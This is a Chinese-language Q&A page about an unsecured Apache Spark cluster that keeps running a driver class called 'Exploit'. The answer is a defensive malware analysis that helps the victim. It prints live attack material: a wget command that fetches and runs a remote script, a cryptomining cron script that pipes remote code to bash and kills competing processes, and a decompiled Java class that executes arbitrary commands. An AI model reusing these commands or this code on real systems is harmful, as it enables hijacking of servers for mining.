apache spark executor提交带有漏洞利用类的驱动程序

时间:2018-08-15 18:51:14

标签: scala apache-spark

经过大量搜索和研究,我转向在这里寻求帮助。 问题在于,一旦构建了一个Spark集群(一个主节点和4个具有不同IP地址的工作者),每个执行者将不断提交“驱动程序”。从Web UI中,我可以看到与“驱动程序”一起提交的名为“漏洞利用”的类。 web UI
以下是一名工人的日志文件的头和尾。

  

启动命令:“ /usr/lib/jvm/jdk1.8/jre/bin/java”“ -cp”“ / home / labuser / spark / conf /:/ home / labuser / spark / jars / *” “ -Xmx1024M”“ -Dspark.eventLog.enabled = true”“ -Dspark.driver.supervise = false”“ -Dspark.submit.deployMode = cluster”“ -Dspark.app.name =漏洞利用”“ -Dspark.jars = http://192.99.142.226:8220/Exploit.jar“” -Dspark.master = spark://129.10.58.200:7077“” org.apache.spark.deploy.worker.DriverWrapper“” spark://Worker@129.10.58.202:44717“” / home / labuser / spark / work / driver-20180815111311-0065 / Exploit.jar“” Exploit“” wget -O /var/tmp/a.sh http://192.99.142.248:8220/cron5.sh,bash /var/tmp/a.sh

     

18/08/15 11:13:56调试ByteBufUtil:-Dio.netty.allocator.type:未池化   2015年8月18日11:13:56调试ByteBufUtil:-Dio.netty.threadLocalDirectBufferSize:65536   2015年8月18日11:13:56调试ByteBufUtil:-Dio.netty.maxThreadLocalCharBufferSize:16384   15年8月18日11:13:56 DEBUG NetUtil:回送接口:lo(lo,0:0:0:0:0:0:0:0:1%lo)   2015年8月18日11:13:56调试NetUtil:/ proc / sys / net / core / somaxconn:128   2015年8月18日11:13:57调试TransportServer:Shuffle服务器在以下端口上启动:46034   2015年8月18日11:13:57信息实用程序:端口46034上的服务“驱动程序”成功启动。   18/08/15 11:13:57 INFO WorkerWatcher:连接到worker spark://Worker@129.10.58.202:44717   2015年8月18日11:13:58调试TransportClientFactory:创建与/129.10.58.202:44717的新连接   2015年8月18日11:13:59调试AbstractByteBuf:-Dio.netty.buffer.bytebuf.checkAccessible:true   2015年8月18日11:13:59调试ResourceLeakDetector:-Dio.netty.leakDetection.level:简单   2015年8月18日11:13:59调试ResourceLeakDetector:-Dio.netty.leakDetection.maxRecords:4   2015年8月18日11:13:59调试ResourceLeakDetectorFactory:加载的默认ResourceLeakDetector:io.netty.util.ResourceLeakDetector@350d33b5   18/08/15 11:14:00 DEBUG TransportClientFactory:成功连接到/129.10.58.202:44717,正在运行引导程序...   18/08/15 11:14:00 INFO TransportClientFactory:1706毫秒(在引导程序中花费了0毫秒)后,已成功创建到/129.10.58.202:44717的连接   18/08/15 11:14:00 INFO WorkerWatcher:已成功连接到spark://Worker@129.10.58.202:44717   15/08/15 11:14:00调试回收站:-Dio.netty.recycler.maxCapacity.default:32768   18/08/15 11:14:00调试回收站:-Dio.netty.recycler.maxSharedCapacityFactor:2   15/08/18 11:14:00调试回收站:-Dio.netty.recycler.link容量:16   18/08/15 11:14:00调试回收站:-Dio.netty.recycler.ratio:8

我发现有一个“利用”代码,它利用任何人都可以向未经授权的Spark集群提交应用程序这一事实来入侵Spark集群。

ARBITRARY CODE EXECUTION IN UNSECURED APACHE SPARK CLUSTER

但是我不认为我的集群被黑了。应用授权模式后的原因,此问题仍然存在。

我的问题是其他人有这个问题吗?为什么会这样呢?

1 个答案:

答案 0 :(得分:1)

这很警报!

首先,反编译的源代码显示驱动程序将执行通过参数提供给它的命令。对于您而言,请wget将脚本下载到temp,然后执行。

下载的脚本下载jpg并通过管道传输到bash。 这不是图像

wget -q -O - http://192.99.142.248:8220/logo10.jpg | bash -sh

logo10.jpg包含一个cron作业,该作业包含将在您的群集上运行的更多源代码。您可能正在看到该作业正在提交,因为它正在开始计划的作业。

#!/bin/sh
ps aux | grep -vw sustes | awk '{if($3>40.0) print $2}' | while read procid
do
kill -9 $procid
done
rm -rf /dev/shm/jboss
ps -fe|grep -w sustes |grep -v grep
if [ $? -eq 0 ]
then
pwd
else
crontab -r || true && \
echo "* * * * * wget -q -O - http://192.99.142.248:8220/mr.sh | bash -sh" >> /tmp/cron || true && \
crontab /tmp/cron || true && \
rm -rf /tmp/cron || true && \
wget -O /var/tmp/config.json http://192.99.142.248:8220/3.json
wget -O /var/tmp/sustes http://192.99.142.248:8220/rig
chmod 777 /var/tmp/sustes
cd /var/tmp
proc=`grep -c ^processor /proc/cpuinfo`
cores=$((($proc+1)/2))
num=$(($cores*3))
/sbin/sysctl -w vm.nr_hugepages=`$num`
nohup ./sustes -c config.json -t `echo $cores` >/dev/null &
fi
sleep 3
echo "runing....."

反编译源

public class Exploit {
    public Exploit() {
    }

    public static void main(String[] var0) throws Exception {
        String[] var1 = var0[0].split(",");
        String[] var2 = var1;
        int var3 = var1.length;

        for(int var4 = 0; var4 < var3; ++var4) {
            String var5 = var2[var4];
            System.out.println(var5);
            System.out.println(executeCommand(var5.trim()));
            System.out.println("==============================================");
        }

    }

    private static String executeCommand(String var0) {
        StringBuilder var1 = new StringBuilder();

        try {
            Process var2 = Runtime.getRuntime().exec(var0);
            var2.waitFor();
            BufferedReader var3 = new BufferedReader(new InputStreamReader(var2.getInputStream()));

            String var4;
            while((var4 = var3.readLine()) != null) {
                var1.append(var4).append("\n");
            }
        } catch (Exception var5) {
            var5.printStackTrace();
        }

        return var1.toString();
    }
}